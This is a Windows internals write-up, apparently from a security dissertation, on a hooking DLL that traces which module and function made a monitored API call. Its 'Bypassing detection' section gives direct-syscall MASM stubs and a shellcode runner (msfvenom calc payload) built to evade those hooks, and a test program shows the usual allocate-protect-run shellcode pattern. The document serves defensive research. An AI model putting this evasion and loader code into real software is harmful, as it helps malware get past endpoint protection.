██████████████████████████████████████████████████████████████████████████████████████████████████████████████ █▀░███▄─█▀▀▀█─▄█─█─█─▄▄─███─▄─▄─█─█─█▄─▄▄─███▄─▄▄─███─▄▄▄─██▀▄─██▄─▄███▄─▄███▄─▄▄─█▄─▄▄▀███▄─▀█▀─▄█▄─▄▄─█▀▄▄▀█ ██░████─█─█─█─██─▄─█─██─█████─███─▄─██─▄█▀████─▄█████─███▀██─▀─███─██▀██─██▀██─▄█▀██─██─████─█▄█─███─▄█▀███▄██ ▀▄▄▄▀▀▀▄▄▄▀▄▄▄▀▀▄▀▄▀▄▄▄▄▀▀▀▀▄▄▄▀▀▄▀▄▀▄▄▄▄▄▀▀▀▄▄▄▀▀▀▀▀▄▄▄▄▄▀▄▄▀▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▄▄▀▀▀▀▄▄▄▀▄▄▄▀▄▄▄▄▄▀▀▀▄▀▀ ../ ## Contents [CNTS] [0.0] Finding the callers module name and function name ( NTAPI / WIN32 ) [0.1] Scenario [0.2] RIP/return address & __ReturnAddress() [0.3] Hooking Win32 from a NTAPI dependant dll? [0.4] What module called [0.5] What function called [0.6] Putting the pieces together [0.7] Bypassing detection [0.8] Critical Review [0.9] Revisions [1.0] Future Developments/Research [1.1] Credits [1.2] Reference Dump (LaTeX references.bib) ## [0.0] Finding the callers module name and function name ( NTAPI / WIN32 ) NOTE: This was research that was done for a University BSc Cyber Security and Digital Forensics dissertation, this project was chosen as a challenge as my windows OS knowledge was weak. Didnt know more than how to write a hello world in c. Its very crudely copy pasted from my paper and with the knowledge obtained since could be improved on. Its interesting to see how things change with time. - p4yl0ad ## [0.1] Scenario Win32 & CRT-less binary intended to early load by e.g. ELAM/KMDF driver using KAPC injection to force load. inspired by Dennis Babkin(InjectAll), wbenny(InjDrv/DetoursNT), ccob(Building And Breaking an edr) and the blogs read along the way. ## [0.2] RIP/return address & __ReturnAddress() To obtain the target address to search for, the MSVC compiler intrinsic __ReturnAddress() can be used within each hooking function. Take the example below, the entry function calls the returnval function which utilizes this intrinsic and prints the address which a RET instruction will return to. In this case pointing back within the main function, The instruction after the function call to be specific. This logic will be valuable in a later section. ##########################################################################################################################include <stdio.h> #include <intrin.h> #pragma intrinsic(_ReturnAddress) void returnval(void) { /* the value printed will be within the main function */ printf("Return Address: 0x%p\n", (void*)_ReturnAddress()); } void main(void) { returnval(); /* the function call */ /* <- here is where the program will logically return to after executing the function returnval() */ }
######################################################################################################################### ## [0.3] Hooking Win32 from a NTAPI dependant dll? Hooking the Win32 API and the NTAPI with Microsoft Detours is trivial. Hooking Win32 from DetoursNT was not as easy. To use DetoursNT as a hooking library in our situation to hook Win32 functions, a pointer to the entry point of the function to be hooked is needed to be obtained in order to apply the detour. This can be carried out in a similar way to the LoadLibrary + GetProcAddress method used to resolve functions dynamically which can be utilized from Win32 to obtain function pointers; however this needs to use Win32. The method that was discovered was using the Ldr functions exported by NTDLL.DLL to copy the functionality of LoadLibrary + GetProcAddress. LdrLoadDll and LdrGetProcedureAddress were utilized with the function prototypes provided by process hackers NT headers. #########################################################################################################################RtlInitUnicodeString(&ModuleNameString_U, L"kernelbase"); Status = LdrLoadDll(UNICODE_NULL, NULL, &ModuleNameString_U, &ModuleHandle); RtlInitString(&ProcedureNameString, "VirtualAlloc"); Status = LdrGetProcedureAddress(ModuleHandle, &ProcedureNameString, (ULONG)NULL, (PVOID*)&ProcedurePointer); void* VirtualAllocPointer = ProcedurePointer; /* fnVirtualAlloc is just a custom function prototype typedef which can be applied to the pointer to setup according to calling conv */ typedef LPVOID(NTAPI * fnVirtualAlloc)( /* [in, optional]*/ LPVOID lpAddress, /* [in] */ SIZE_T dwSize, /* [in] */ DWORD flAllocationType, /* [in] */ DWORD flProtect ); */ OrigVirtualAlloc = (fnVirtualAlloc)VirtualAllocPointer;
######################################################################################################################### ##########################################################################################################################define WIN32_LEAN_AND_MEAN #include <cstdio> #include <Windows.h> void main(void) { printf("%-20s : 0x%-016p\n", "Original:", (void*)VirtualAlloc); HMODULE SampleHookDllModule = LoadLibrary(TEXT("SampleHookDLL.dll")); printf("%-20s : 0x%-016p\n", "Hook:", (void*)VirtualAlloc); void* exec_mem = VirtualAlloc(0, 69, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); FreeLibrary(SampleHookDllModule); printf("%-20s : 0x%-016p\n\nDONE\n", "Unhook:", (void*)VirtualAlloc); }
######################################################################################################################### ## [0.4] What module called Now that Win32 and NTAPI functions can be hooked, the calling module can be isolated via a pointer within loaded image ranges. Information about the context of the hook will be useful for providing greater insight into what image and function is actually calling what. The PEB is a valuable structure when it comes to finding information about process execution however can be tampered with due to living in user mode (Chappell 2022) but in this proof of concept this will not be taken into account. The PEB can be programmatically accessed using the readgsqword MSVC compiler intrinsic (Microsoft 2022a) with 0x60 (96 bytes) as the offset to read the PEB for x86-64 bit processes. #########################################################################################################################/* PEB structure */ typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[21]; PPEB_LDR_DATA LoaderData; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; BYTE Reserved3[520]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved4[136]; ULONG SessionId; } PEB; /* _PEB_LDR_DATA Member of the PEB structure */ typedef struct _PEB_LDR_DATA { BYTE Reserved1[8]; PVOID Reserved2[3]; LIST_ENTRY InMemoryOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; /* * NOTE: If you dont know what a LIST_ENTRY structure is , learn it, its everywhere in windows * and is very easy to understand */ typedef struct _LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; /* THIS IS WHAT WE WANT */ PVOID EntryPoint; /* THIS IS WHAT WE WANT */ PVOID Reserved3; UNICODE_STRING FullDllName; /* THIS IS WHAT WE WANT */ BYTE Reserved4[8]; PVOID Reserved5[3]; union { ULONG CheckSum; PVOID Reserved6; }; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
######################################################################################################################### ##########################################################################################################################include <stdio.h> #include <Windows.h> #include <winternl.h> void main(void) { /* LDR_DATA_TABLE_ENTRY_COMPLETED struct goes here */ PPEB pPEB = (PPEB)__readgsqword(0x60); PEB_LDR_DATA* peb_ldr_data = pPEB->Ldr; LIST_ENTRY* list_head = &(peb_ldr_data->InMemoryOrderModuleList); LIST_ENTRY* list_entry; LDR_DATA_TABLE_ENTRY_COMPLETED* ldr_entry; for (list_entry = list_head->Flink; list_entry != list_head; list_entry = list_entry->Flink) { ldr_entry = (LDR_DATA_TABLE_ENTRY_COMPLETED*)((char*)list_entry - sizeof(LIST_ENTRY)); printf("DLL Name %ws\n", ldr_entry->BaseDllName.Buffer); printf("Base Address 0x%p\n", (void *)ldr_entry->DllBase); printf("SizeOfImage 0x%p\n", (void *)ldr_entry->SizeOfImage); printf("End Address 0x%p\n\n", (void*)((ULONGLONG)ldr_entry->DllBase+(ULONGLONG)ldr_entry->SizeOfImage)); } }
######################################################################################################################### ## [0.5] What function called The plaintext function name will not be in a Release version of a compiled PE with no debug symbols unless exported as so. Exports are references to functions within the DLL which are stored in an export table for use by external processes that load the DLL (wireless90 2021). A feature of the Windows 64-bit ABI (Microsoft 2021o) is that Exception handler records will be registered for functions which allocate stack space or call another function within, called non-leaf functions. Both KERNELBASE.DLL and NTDLL.DLL have a .pdata section of the PE32+ which is populated by a table of sorted RUNTIME FUNCTION (Microsoft 2021j) structures and this provides information valuable for isolating function specific details (Microsoft 2021p). The BeginAddress from the RUNTIME FUNCTION structure is the target function entry address. This will be used as the target function in the next stage to search the EXPORT DIRECTORY of the PE. #########################################################################################################################typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY { DWORD BeginAddress; /* Interested in this */ DWORD EndAddress; union { DWORD UnwindInfoAddress; DWORD UnwindData; } DUMMYUNIONNAME; } _IMAGE_RUNTIME_FUNCTION_ENTRY, *_PIMAGE_RUNTIME_FUNCTION_ENTRY; typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY RUNTIME_FUNCTION, *PRUNTIME_FUNCTION;
######################################################################################################################### To obtain a RUNTIME FUNCTION function for a chosen RIP, the NTDLL.DLL exported function Rtl- LookupFunctionEntry() can be used. #########################################################################################################################EXTERN_C NTSYSAPI PRUNTIME_FUNCTION NTAPI RtlLookupFunctionEntry( /* [in] */ DWORD64 ControlPc, /* [out] */ PDWORD64 ImageBase, /* [out] */ PUNWIND_HISTORY_TABLE HistoryTable ); [...SNIP...] runfunc = RtlLookupFunctionEntry(ullRetAddr, &imgbase, &HistTable);
######################################################################################################################### Now the function BeginAddress can be used to search the PE for an Exported function name. The PE structure features a Directory called the EXPORT DIRECTORY (wireless90 2021) which contains informa- tion about the exported functions. For example, CFF Explorer (NTCore 2018) can be used to view the PE structure in depth. The Export directory is the first entry in the Data Directory section at index [0]. Holding an ordinal if set, the function RVA, the name Ordinal, the Name RVA and the Name. The function name can be obtained by iterating over the entries in the Export Directory until the address matches. This is carried out via standard PE parsing using the Known and publicly documented PE file structure and structures available. It’s questionable whether creating a sorted vector of these structures to save having to parse the PE headers each time, however this is room for future experimentation. The snippet below is a cut down hybrid of a couple of scripts, sektor7 and arbiter34. #########################################################################################################################[...SNIP...] if ((PIMAGE_DOS_HEADER)imgbase)->e_magic == IMAGE_DOS_SIGNATURE) { [...SNIP...] if ((IMAGE_NT_HEADERS*)(imgbase)+pIDH->e_lfanew))->Signature == IMAGE_NT_SIGNATURE) { [...SNIP...] if (pDD->Size != 0 && pDD->VirtualAddress != 0) // check if the export directory VA / SIZE is not 0 printf("Have Export directory for module\n"); [...SNIP...] for (i = 0; i < ExportDir->NumberOfNames; i++) { char * sTmpFuncName = (char *) pBaseAddr + (DWORD_PTR) pFuncNameTbl[i]; [...SNIP...] if (addToSearch == imgbase + [pHintsTbl[i]])) { [...SNIP...] printf("name : %s\n", sTmpFuncName); } [...SNIP...] } } [...SNIP...] } [...SNIP...]
######################################################################################################################### NOTE: One limitation of this approach is the function to be searched for needs to be exported by the DLL being searched and if it’s not it’s likely a private function or pointing back into the host executable. ## [0.6] Putting the pieces together The complete functionality of a Call to a hooked function can be described below. After The DLL has been injected into malproc64.exe and Hooks have been applied. 1. VirtualAlloc gets called by malproc64.exe (a) Hook function HookVirtualAlloc gets hit (b) ReturnAddress() within the hook function is compared to each PE’s in InMemoryOrderModuleList from the PEB, if from malproc64.exe: HOOKHIT:WIN32:HookVirtualAlloc, (caller module:NOT OG:malproc64.exe:UnknownFunction), else: continue 2. VirtualAlloc Call within KERNELBASE.DLL triggers Hook on NtAllocateVirtualMemory (a) Hook function HookNtAllocateVirtualMemory gets hit (b) ReturnAddress() within the hook function is compared to each PE in InMemoryOrderModuleList from the PEB, if from malproc64.exe: HOOKHIT:WIN32:HookVirtualAlloc, (caller module:malproc64.exe), else: (c) ReturnAddress() value 0x00007FF62F1C11A2 is passed to RtlLookupFunctionEntry which returns a PRUNTIME FUNCTION for the caller (d) PRUNTIME FUNCTION.BeginAddress used to parse PE and get function name of calling BeginAddress as it will equal baseaddress + VirtualAlloc RVA of the function (e) HOOKHIT:NTAPI:HookNtAllocateVirtualMemory, (caller module:KERNELBASE.dll:VirtualAlloc), (func:0x00007FFBF4D718E8) To discuss and dissect results the sample source below, malproc64.c, calls VirtualAlloc, VirtualAllocEx, VirtualAllocExNuma, RtlMoveMemory, VirtualProtect, CreateThread. All the Win32 API’s and NTAPI counterparts in use are hooked apart from RtlMoveMemory. The DLL is force-loaded via LoadLibrary to simulate the injection at process creation. ##########################################################################################################################include <Windows.h> #include <stdio.h> //#pragma comment(lib, "kernel32.lib") /* uncomment to catch kernel32.dll:CreateThread() */ #if _DEBUG #define DLL_PATH L"Z:\\sEDRDLL_V0.1\\Bin\\x64\\Debug\\SampleHookDLL.dll" #else #define DLL_PATH L"Z:\\sEDRDLL_V0.1\\Bin\\x64\\Release\\SampleHookDLL.dll" #endif void main(void) { DWORD oldprotect = 0; unsigned char payload[] = {0x90,0x90,0x90,0x90,0x90,0x90,0xc3,0xcc}; // 6xnop sled, int3, ret unsigned int payload_len = 10; HMODULE SampleHookDllModule = LoadLibrary(DLL_PATH); HANDLE cp = GetCurrentProcess(); printf("Hit Enter To Start!!!"); getchar(); void * exec_mem = NULL; void * exec_mem2 = NULL; void * exec_mem3 = NULL; exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); exec_mem2 = VirtualAllocEx(cp, NULL, 69, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); exec_mem3 = VirtualAllocExNuma(cp, NULL, 69, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE, NULL); printf("%p\n%p\n%p\n", (void*)exec_mem, (void*)exec_mem2 , (void*)exec_mem3); RtlMoveMemory(exec_mem, payload, payload_len); BOOL rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect); HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0); WaitForSingleObject(th, -1); }
######################################################################################################################### The log file created contains a line for each hook hit in the format of: (DEBUGMESSAGE),\\ (APITYPE),\\ (HOOKFUNCNAME),\\ (HOOKDLL\_YN:CALLERMODULE:CALLINGFUNCTION),\\ (COUNT(Will be Depreciated)), \\ (RETADDRESS) Each api call trace is split into groups of loglines with descriptions in the form of inline c comments. ######################################################################################################################### /** Normal VirtualAlloc call (VirtualAlloc->[Zw/Nt]AllocateVirtualMemory) **/ /* UnknownCaller calls VirtualAlloc which hits HookVirtualAlloc */ HOOKHIT: WIN32:HookVirtualAlloc,(caller module: NOT_OG:malproc6464d.exe:UnknownCaller), (count : 1),(func : 0x00007FF6CC4920E8) /* HookNtAllocateVirtualMemory gets called by KERNELBASE.dll:VirtualAlloc */ HOOKHIT: NTAPI:HookNtAllocateVirtualMemory,(caller module: NOT_OG:KERNELBASE.dll:VirtualAlloc), (count : 1),(func : 0x00007FFF650218E8) /** Normal VirtualAllocEx call (VirtualAllocEx->VirtualAllocExNuma->[Zw/Nt]AllocateVirtualMemory) **/ /* UnknownCaller calls HookVirtualAllocEx which hits HookVirtualAllocExNuma */ HOOKHIT: WIN32:HookVirtualAllocEx,(caller module: NOT_OG:malproc6464d.exe:UnknownCaller), (count : 1),(func : 0x00007FF6CC49210F) /* HookVirtualAllocExNuma gets called by KERNELBASE.dll:VirtualAllocEx */ HOOKHIT: WIN32:HookVirtualAllocExNuma,(caller module: NOT_OG:KERNELBASE.dll:VirtualAllocEx), (count : 1),(func : 0x00007FFF650351E6) /* HookNtAllocateVirtualMemory gets called by KERNELBASE.dll:VirtualAllocExNuma */ HOOKHIT: NTAPI:HookNtAllocateVirtualMemory,(caller module: NOT_OG:KERNELBASE.dll:VirtualAllocExNuma), (count : 1),(func : 0x00007FFF6503524D) /** Normal HookVirtualAllocExNuma call (VirtualAllocExNuma->[Zw/Nt]AllocateVirtualMemory) **/ /* UnknownCaller calls HookVirtualAllocExNuma which hits HookNtAllocateVirtualMemory */ HOOKHIT: WIN32:HookVirtualAllocExNuma, (caller module: NOT_OG:malproc6464d.exe:UnknownCaller), (count : 1), (func : 0x00007FF6CC49213E) /* HookNtAllocateVirtualMemory gets called by KERNELBASE.dll:VirtualAllocExNuma */ HOOKHIT: NTAPI:HookNtAllocateVirtualMemory, (caller module: NOT_OG:KERNELBASE.dll:VirtualAllocExNuma), (count : 1), (func : 0x00007FFF6503524D) ######################################################################################################################### Its not nice on the eyes and was the source for some confusion, but thats the learning process. Make mistakes while experiementing and researching -> learn from it -> apply in the real world ## [0.7] Bypassing detection ######################################################################################################################### ; NOTE , WINDOWS 10 21H1 SYSCALL STUBS TAKEN FROM IDA DISASSEMBLY OF NTDLL.DLL ; FUNCTIONS ARE FORCE MADE PUBLIC IN THE MASM COMPILER OPTIONS _DATA SEGMENT _DATA ENDS _TEXT SEGMENT AlloeVirtMem PROC mov r10, rcx mov eax, 18h ; SYSCALL number for NtAllocateVirtualMemory syscall ret AlloeVirtMem ENDP WriVirMem PROC mov r10, rcx mov eax, 3Ah ; SYSCALL number for NtWriteVirtualMemory syscall ret WriVirMem ENDP ProtVirtMem PROC mov r10, rcx mov eax, 50h ; SYSCALL number for NtProtectVirtualMemory syscall ret ProtVirtMem ENDP CreThreE PROC mov r10, rcx mov eax, 0C1h ; SYSCALL number for NtCreateThreadEx syscall ret CreThreE ENDP _TEXT ENDS END ######################################################################################################################### ##########################################################################################################################include "syscall.h" void ThisIsNotAnEntryPoint(void) { DbgPrint("Custom Entrypoint ThisIsNotAnEntryPoint NOPSLED DEMO\n"); // msfvenom calc.exe thread based shellcode unsigned char pload[] = {0xfc,0x48,0x83,0xe4/*[...SNIP...]*/,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; size_t pload_size = sizeof(pload); HANDLE ph = NtCurrentProcess(); void * ba = NULL; NTSTATUS SysAllocateReturn = AlloeVirtMem(ph, &ba, 0, &pload_size, MEM_COMMIT |MEM_RESERVE, PAGE_READWRITE); DbgPrint("SysAllocateReturn\t%x\n", SysAllocateReturn); my_memmove(ba, (void*)pload, 276); DbgPrint("ba 0x%p", ba); ULONG nprt = PAGE_EXECUTE_READ; ULONG oprt = 0; NTSTATUS SysNtProtectReturn = ProtVirtMem(ph, &ba, &pload_size, nprt, &oprt); DbgPrint("SysNtProtectReturn\t%x\n", SysNtProtectReturn); HANDLE th = NULL; NTSTATUS SysNtCreateReturn = CreThreE(&th, GENERIC_EXECUTE, NULL, ph, ba, NULL,FALSE, 0, 0, 0, NULL); DbgPrint("SysNtCreateReturn\t%x\n", SysNtCreateReturn); DbgPrint("END"); //WaitForSingleObject(th, -1); // to actually wait infinitely we need to link with kernel32, // or be bothered to use ntapi equiv }
######################################################################################################################### As this PE is not importing functions from ntdll which will be hooked by the introspection DLL within the process, the PE using these syscall stubs will go unnoticed however a log file for the process will be created. A breakpoint is put on the final call to CreateProcessInternalW in order to facilitate stepping through each stage of the introspection during execution shows the processes that go on behind the scenes. 1. Introspection DLL gets force loaded into the process 2. The DLL PROCESS ATTACH reason for call is passed to the DLL 3. The log file based on PID and executable name is created. 4. A range of Win32 hooks are applied successfully 5. The syscall64d.exe binary carries out it’s thread based shellcode execution 6. The breakpoint set on CreateProcessInternalW which is called by the msfvenom shellcode is hit ## [0.8] Critical Review At the beginning of the project the researcher had the aim of developing a Kernel Driver which can inject a custom DLL into processes and act as a provider and protector from malicious API usage patterns. This was inspired by an interest in how enterprise endpoint detection implement their user mode detection capabilities. After 30 hours of KMDF driver programming based off of Dennis Babkin’s InjectAll blog (Babkin D. 2021b) and youtube series (Babkin D. 2021a), the researcher decided to shift focus from the driver to the DLL due to the complexity and number of tasks that would need to be completed in order to achieve the original aim in it’s entirety. After developing the core proof of concepts the researcher came to the conclusion that developing detection capabilities further than access protection detection and buffer scanning was not feasible for this project’s time constraints put into place. With the weighting towards By the end of the project the DLL was successfully developed alongside a range of tools and demo pieces, this allowed the researcher to dive deep and learn a good deal of Windows internals fundamentals. ## [0.9] Revisions The c code that was written is not safe by any means, warning messages and memory safety were not taken into account during the lifecycle of programming due to inexperience. A couple of rounds of Refactoring and code review will enable the application to be safer and made more efficient in terms of operation and codebase size. Using Nt NTAPI functions for file creation and management was difficult due to the lack of official docu- mentation and inexperience but it was made to work through attaching a debugger and trial and error. #########################################################################################################################[...SNIP...] /* CreateLogFile function which grabs PID and exe name and creates a log file in the format EXECUTABLE.EXE_PID.txt For example: malproc64.exe_820.txt */ void CreateLogFile(void) { /*[...SNIP...]*/ /* setup object attributes */ UNICODE_STRING uniName = { 0 }; OBJECT_ATTRIBUTES objAttr; /* init unicode string in uniName */ RtlInitUnicodeString( &uniName, outfile /* this filename was created earlier in function */ ); /* init object attributes to be returned for next call to open file */ InitializeObjectAttributes( &objAttr, &uniName, 0x00000040L, //OBJ_CASE_INSENSITIVE, NULL,NULL ); NTSTATUS NtCreateFileStatus; HANDLE LogFileHandle; #define FILE_OVERWRITE_IF 0x00000005 #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 /* NtCreateFile call to NTDLL.DLL */ NtCreateFileStatus = NtCreateFile( &LogFileHandle, FILE_GENERIC_WRITE, // | FILE_APPEND_DATA, &objAttr, &ioStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL, 0 ); /*[...SNIP...]*/ /* close handle so that other write operations are possible */ NtClose(LogFileHandle); }
######################################################################################################################### To open a file and append a line to said file was not an easy task using NTAPI functions, once again it was a case of attaching a debugger and stepping through until NTSTATUS values returned 0x00000000. #########################################################################################################################/*[...SNIP...]*/ /* AppendLogFile function which takes a pointer to an array of chars and a length of chars to read from char array Uses global filename to obtains a file handle using NtCreateFile Appending the passed log line into the file using NtWriteFile */ void AppendLogFile(char TextToWrite[], int LenTextToWrite) { /*[...SNIP...]*/ UNICODE_STRING filename; RtlInitUnicodeString(&filename, outfile); /* initialize OBJECT_ATTRIBUTES */ OBJECT_ATTRIBUTES objAtt; InitializeObjectAttributes( &objAtt, &filename, OBJ_CASE_INSENSITIVE, NULL, NULL ); NTSTATUS NtCreateFileStatus; HANDLE FileHand; IO_STATUS_BLOCK ioSB; /* Handle to the created log file can be obtained */ NtCreateFileStatus = NtCreateFile( &FileHand, /* out -> handle to file that's created */ FILE_GENERIC_WRITE, &objAtt, &ioSB, /* out -> ioStatusBlock */ NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE, NULL, NULL ); /*[...SNIP...]*/ LARGE_INTEGER Position; PLARGE_INTEGER pPosition = NULL; pPosition = NULL; Position.LowPart = 0xffffffff /* FILE_WRITE_TO_END_OF_FILE; */ Position.HighPart = -1; pPosition = &Position; NtWriteFileStatus = NtWriteFile( FileHand, NULL, NULL, NULL, &ioSB, (PVOID)TextToWrite, (ULONG)LenTextToWrite, /* Text To write and length of text to write is passed */ pPosition, NULL ); /* SNIP */ NtClose(FileHand); /*[...SNIP...]*/
######################################################################################################################### ## [1.0] Future Developments/Research For further research more of the Windows internals functionality would like to be uncovered and experimented with and as a result part 2 of the Windows Internals Microsoft Press series (Russinovich and A. A. 2019) will be acquired and read. Figure 100: Windows Internals Part 2 A method to find out the private function callers e.g. RtlpFindAndCommitPages will be valuable, as KER- NEL32.DLL, KERNELBASE.DLL and NTDLL.DLL all have Microsoft symbols available, a method will be possible with time invested. Implementing a buffer checking mechanism for payload detection where calls such as RtlMoveMemory which take a payload from one memory location to another can be hooked, the payload can be added to a detection queue or archive and saved for inspection. While reading Geoff Chappell’s research about the PEB brought to mind the idea of using the PEB structure as Interprocess control / data sharing in a malicious context. ”Very much more in principle than in prac- tice, data may go into the PEB for sharing between processes more easily than by any formal inter-process communication.”(Chappell 2022) Traditional IPC methods for sharing payloads between processes are listed, provided in the blog by modexp (modexp 2018) and IPC could be an interesting implementation for payload sharing and control. • Clipboard (WM PASTE) • Data Copy (WM COPYDATA) • Named pipes • Component Object Model (COM) • Remote Procedure Call (RPC) • Dynamic Data Exchange (DDE) Instead of using File IO operations for logging capabilities, using Event Tracing for Windows (Microsoft 2021b) which will allow for tracing and logging of events at the application level. TraceLogging enables realtime messages to be provided (Microsoft 2021c). Overall the project enabled the researcher to perform a range of experiments within windows with the purpose of expanding knowledge and experience. ## [1.1] Credits / Thanks Secret Club discord people (namazso, JustMagic, Lima X, Matti, Jonaslyk) discussion whenever they were in chat was fucking useful haha reenz0h from sektor7 for CustomGetProcAddress theory ## [1.2] Reference Dump (LaTeX references.bib) @BOOK{WI, author = "Yosifovich P. Ionescu A. Russinovich E M. and Solomon A D.", title = "Windows Internals Part 1, System architecture, processes, threads, memory management, and more.", edition = "7th", year = "2017", address = "USA Redmond", publisher = "Microsoft Press", } % used in Detours lit review @ARTICLE{detoursGH, author = {Microsoft}, year = {2022}, title = {microsoft/Detours}, note = "github.com/microsoft/Detours/. (Accessed: 2021)", } @ARTICLE{detours, author = {Microsoft}, year = {2019}, title = {Interception of Binary Functions}, note = "documentation.help/Detours/Ove\_Interception.htm. (Accessed 2022)", } %@ARTICLE{detours, % author = {Microsoft}, % year = {2002}, % title = {Microsoft Research Detours Overview page.}, % note = "www.microsoft.com/en\-us/research/project/detours/. (Accessed 2022)", %} @ARTICLE{detoursNTGH, author = {wbenny}, year = {2021}, title = {wbenny/DetoursNT}, note = "github.com/wbenny/DetoursNT/. (Accessed: 2021)", } @ARTICLE{lcaeabip1, author = {CCob, Ethical Chaos}, year = {2020}, title = {lets\-create\-an\-edr\-and\-bypass\-it\-part\-1.}, note = "ethicalchaos.dev/2020/05/27/lets\-create\-an\-edr\-and\-bypass\-it\-part\-1/. (Accessed 2022)", } @ARTICLE{lcaeabip2, author = {CCob, Ethical Chaos}, year = {2020}, title = {lets\-create\-an\-edr\-and\-bypass\-it\-part\-2.}, note = "ethicalchaos.dev/2020/06/14/lets\-create\-an\-edr\-and\-bypass\-it\-part\-2/. (Accessed 2022)", } @ARTICLE{sharpblock, author = {CCob}, year = {2021}, title = {github.com/CCob/SharpBlock}, note = "github.com/CCob/SharpBlock. (Accessed: 2021)", } @ARTICLE{sharpblock77, author = {CCob}, year = {2021}, title = {Context64.cs Line 94 contains HWBP }, note = "github.com/CCob/SharpBlock/. (Accessed: 2021)", } @ARTICLE{ptps, author = {Pentest Partners}, year = {2020}, title = {patchless\-amsi\-bypass\-using\-sharpblock}, note = "www.pentestpartners.com/security\-blog/patchless\-amsi\-bypass\-using\-sharpblock/. (Accessed: 2021)", } @MANUAL{S7, author = {SEKTOR7 Institute, reenz0h}, year = {2020}, title = {RTO\-MDI}, note = "institute.sektor7.net/courses/rto\-maldev\-intermediate. (Accessed 2022)", } @ARTICLE{Minhook, author = {TsudaKageyu}, year = {2021}, title = {Minhook}, note = "github.com/TsudaKageyu/minhook. (Accessed: 2021)", } @ARTICLE{gitlab, author = {gitlab}, year = {2022}, title = {gitlab}, note = "about.gitlab.com/. (Accessed: 2021)", } @ARTICLE{VMWare, author = {VMWare Workstation}, year = {2022}, title = {gitlab}, note = "www.vmware.com/uk/products/workstation\-pro.html. (Accessed: 2021)", } @ARTICLE{MoSCoW, author = {wikipedia}, year = {2022}, title = {MoSCoW method}, note = "en.wikipedia.org/wiki/MoSCoW\_method. (Accessed: 2021)", } @ARTICLE{WinVM, author = {Microsoft Developer}, year = {2022}, title = {Microsoft Developer VMWare VM images}, note = "developer.microsoft.com/en\-us/windows/downloads/virtual\-machines/. (Accessed: 2021)", } @ARTICLE{WinVM2, author = {Microsoft Developer}, year = {2022}, title = {Microsoft Developer VMWare VM Overview}, note = "aka.ms/windev\_VM\_vmware. (Accessed: 2021)", } @ARTICLE{PH, author = {ProcessHacker}, year = {2022}, title = {ProcessHacker}, note = "processhacker.sourceforge.io. (Accessed 2022)", } @ARTICLE{IDA, author = {hex\-rays}, year = {2022}, title = {IDA Interactive Dissasembler }, note = "hex\-rays.com/ida\-free/. (Accessed 2022)", } @ARTICLE{windbg, author = {Microsoft}, year = {2022}, title = {windbg debugger }, note = "docs.microsoft.com/en\-us/windows\-hardware/drivers/debugger/debugger\-download\-tools. (Accessed 2022)", } @ARTICLE{sysinternals, author = {Microsoft}, year = {2022}, title = {Sysinteral tools, M Russinovich}, note = "docs.microsoft.com/en\-us/sysinternals/. (Accessed 2022)", } @ARTICLE{dependencies, author = {lucasg}, year = {2021}, title = {dependencies.exe lucasg}, note = "github.com/lucasg/Dependencies. (Accessed 2022)", } @ARTICLE{sdk, author = {Microsoft}, year = {2021}, title = {Windows SDK}, note = "developer.microsoft.com/en\-us/windows/downloads/windows\-sdk/. (Accessed 2022)", } @ARTICLE{wdk, author = {Microsoft}, year = {2021}, title = {Windows WDK}, note = "docs.microsoft.com/en\-us/windows\-hardware/drivers/download\-the\-wdk. (Accessed 2022)", } @ARTICLE{TC, author = {Mouse R.}, year = {2022}, title = {ThreatCheck}, note = "github.com/rasta\-mouse/ThreatCheck (Accessed: 17 May 2021)", } @ARTICLE{MPC, author = {Microsoft}, year = {2022}, title = {Memory Protection Constants}, note = "docs.microsoft.com/en\-us/windows/win32/memory/memory\-protection\-constants (Accessed: 17 May 2021)", } @ARTICLE{DMPB, author = {Microsoft}, year = {2022}, title = {DUMPBIN Command Line}, note = "docs.microsoft.com/en\-us/cpp/build/reference/dumpbin\-command\-line (Accessed: 17 May 2021)", } @ARTICLE{CL, author = {Microsoft}, year = {2021}, title = {MSVC Compiler}, note = "docs.microsoft.com/en\-us/cpp/build/reference/compiler\-options (Accessed: 17 May 2021)", } @ARTICLE{apiset, author = {Microsoft}, year = {2021}, title = {Windows API sets}, note = "docs.microsoft.com/en\-us/windows/win32/apiindex/windows\-apisets (Accessed: 17 May 2021)", } @ARTICLE{apiip, author = {Microsoft}, year = {2021}, title = {API Index for desktop Windows applications}, note = "docs.microsoft.com/en\-us/windows/win32/apiindex/api\-index\-portal (Accessed: 17 May 2021)", } @ARTICLE{umbrella, author = {RbMm stackoverflow}, year = {2021}, title = {What are * umbrella libraries?}, note = "stackoverflow.com/questions/47529106/what\-are\-api\-ms\-win\-lx\-x\-x\-dll\-umbrella\-libraries (Accessed: 17 May 2021)", } @ARTICLE{apisetmapGH, author = {p4yl0ad}, year = {2022}, title = {apisetparse}, note = "github.com/p4yl0ad/apisetparse/blob/main/apisetparse.c (Accessed: 17 May 2021)", } @ARTICLE{apisetmapGistL, author = 